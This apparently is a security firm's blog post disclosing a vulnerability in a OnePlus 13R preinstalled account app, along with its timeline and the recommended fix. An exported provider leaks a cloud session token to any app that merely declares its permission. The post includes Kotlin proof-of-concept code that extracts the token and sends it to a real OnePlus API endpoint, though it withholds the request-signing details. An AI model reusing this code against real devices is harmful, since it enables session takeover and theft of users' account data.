Preinstalled but Not Safe. OnePlus OEM App Session Takeover Vulnerability

Incipit

Bug bounty initiatives can be a useful tool for companies to source security research focused on their products and get ahead of attackers. From a security researcher’s perspective, it’s a great way to gain experience and contribute to the overall security of the Internet and the products we use every day. However, for the system to work, both parties need to adhere to certain unspoken rules. Researchers should coordinate the disclosure, while vendors need to ensure reasonably and timely responses to reports, bug fixes and transparent disclosure. The problem arises when part of this process breaks down: what should a researcher do with knowledge of an unfixed vulnerability when the vendor repeatedly fails to provide a remediation timeline? We believe that, after a reasonable disclosure period, such vulnerabilities should be made public; otherwise, there is a risk that they remain unfixed indefinitely.

The Vulnerability

This vulnerability resulted from a focused vulnerability research activity targeting some of the OEM applications shipped with the OnePlus 13R Android mobile phone. The goal of this work was to assess the security posture of vendor-specific components that often operate with elevated privileges and are therefore high-value targets for attackers.

Our analysis was performed on the latest publicly available firmware at the time of testing. This post outlines our methodology, highlights the most interesting security issue we identified, and discusses its impact on the OnePlus security model.

OnePlus 13R

Methodology

We began by extracting the APKs shipped with the device and enumerating their exported activities, services and content providers from the applications’ manifests. We then triaged these components based on their accessibility to untrusted applications, the permissions protecting them and the sensitivity of the functionality they exposed.

For the most promising candidates, we decompiled the applications and manually traced the relevant execution paths. Because the code was obfuscated, we combined manual analysis with AI-assisted deobfuscation and data-flow analysis to reconstruct how attacker-controlled inputs were processed and which sensitive values could reach exported interfaces. Finally, we validated the identified behavior dynamically on a physical device and built a dedicated Android application to demonstrate exploitability. Where necessary, we also leveraged Frida to instrument the application’s OkHttp interceptor chain and observe how requests were signed and encrypted before being sent to the OnePlus API. More on using Frida to analyze HTTP traffic can be found in one of our previous blog posts.

Account Takeover

Preinstalled OEM applications are a huge attack surface of any Android ecosystem, including OnePlus. The OnePlus 13R firmware contained 176 preinstalled APKs with a total of 1,824 exported activities. Reviewing every exported component manually would have been impractical, so we prioritized components belonging to applications with sensitive or highly privileged permissions, such as INSTALL_PACKAGES, WRITE_SECURE_SETTINGS, WRITE_SETTINGS and DUMP. We also searched for interesting OnePlus-specific permissions, including com.oneplus.account.READ_ACCOUNT_INFO. This reduced the initial attack surface to approximately 350 exported components for further analysis.

The remainder of this blog post details a vulnerability in the com.oneplus.account OEM application. In its manifest, we identified an exported provider protected by the following permission: com.oneplus.account.READ_ACCOUNT_INFO

<provider
    android:authorities="com.oneplus.account.provider.open"
    android:exported="true" android:name="com.heytap.usercenter.op.sdk.OPAccountProvider"
    android:readPermission="com.oneplus.account.READ_ACCOUNT_INFO"
/>

However, com.oneplus.account.READ_ACCOUNT_INFO was not defined with a signature-level protection. As a result, the provider can be accessed by any application that declares the permission com.oneplus.account.READ_ACCOUNT_INFO in its own manifest.

After decompiling and some deobfuscation effort, we discovered that this provider takes a string command from the caller. Depending on the command given, various account details are served to an untrusted calling application. Most notably, the get_account_oneplus_token command reveals the oldSecondaryToken:

if ("get_account_oneplus_token".equals(command)) {
    if (OPVersionUtil.isVersionInTheInterval(getContext(), callingPackage)) {
        AccountLogUtil.log_info("OPAccountProvider", "get_account_oneplus_token isVersionIn ");
        bundle2.putString("token", a(callingPackage));
    } else {
        bundle2.putString("token", oldSecondaryToken);
    }
    return bundle2;
}

Despite its name, the token represents an authenticated OnePlus Cloud session and can therefore be used by an attacker to impersonate the victim when interacting with the OnePlus Cloud API. We prepared a Proof of Concept (PoC), which uses this token to call a /uc/v1/user-info/update-real-name endpoint, demonstrating the ability to update the victim’s data.

Proof of Concept

This vulnerability can be exploited by a malicious application installed on the victim’s phone. As a PoC, we prepared such an application by declaring the required permissions:

<uses-permission android:name="com.oneplus.account.READ_ACCOUNT_INFO" />
<uses-permission android:name="android.permission.INTERNET" />

The application then calls the vulnerable provider and extracts the sensitive token from its response. Because the permission is not signature-restricted, the malicious application can simply declare it in its own manifest and access the provider without user interaction:

val cr: ContentResolver = context.contentResolver
val AUTHORITY_URI: Uri = Uri.parse("content://com.oneplus.account.provider.open");
val out = cr.call(AUTHORITY_URI, "get_account_oneplus_token", arg, extras)
if (out == null) {
    Log.d(TAG, method + " failed")
} else {
    val token = out.getString("token")
    if (token != null) {
        Log.d(TAG, token!!)
    } else {
        Log.d(TAG, "failed")
    }

Then, the stolen token can be used to access user data in the API:

val request = Request.Builder()
    .url("https://uc-client-fr.oneplus.com/uc/v1/user-info/update-real-name")
    .post(body)
    .addHeader("X-Token", token!!)
    //skipped for brevity
    .build()

val response = client.newCall(request).execute()

Note that a successful request requires additional payload signing and encryption. We will not publish the implementation details.

The following recording demonstrates the exploit in practice:


Impact

We demonstrated that an arbitrary application can steal an authenticated user’s token and use it to access and modify data through the OnePlus Cloud API, effectively resulting in a session takeover. The attack requires no user interaction beyond installing the malicious application; no additional permission prompt or confirmation is required. The vendor decided to assign a high severity to this issue.

Fix

We recommended defining the com.oneplus.account.READ_ACCOUNT_INFO permission with android:protectionLevel="signature". This restricts access to applications signed with the same signing certificate as the OnePlus application, preventing arbitrary third-party applications from accessing OPAccountProvider.

Current State

In September 2026, Doyensec retested the vulnerability on the latest OnePlus 13R firmware available at the time, CPH2691_16.0.10.500(EX01). We confirmed that an untrusted application can still access the vulnerable provider and extract the OnePlus account token. We also verified that the leaked token is accepted by the uc-client-fr.oneplus.com API.

Due to changes in OnePlus’ regional mechanisms, however, we were unable to reproduce the final account-data modification shown in the original proof of concept using our US or EMEA account. Therefore, while we confirmed that the underlying vulnerability and token exposure remain present in the latest tested firmware, we did not reproduce the complete end-to-end exploit on that version.

Timeline

  • 2025-12-30 - Finding disclosed to the vendor as a critical vulnerability 🥳
  • 2026-01-06 - Finding validity confirmed by the vendor and downgraded to high severity 🤔
  • 2026-03-12 - $720 bug bounty paid 🤔💸🤔
  • 2026-09-09 - The vulnerability was still confirmed on a newest version - CPH2691_16.0.10.500(EX01) 🫤
  • 2026-09-10 - Public disclosure 🤷‍♂️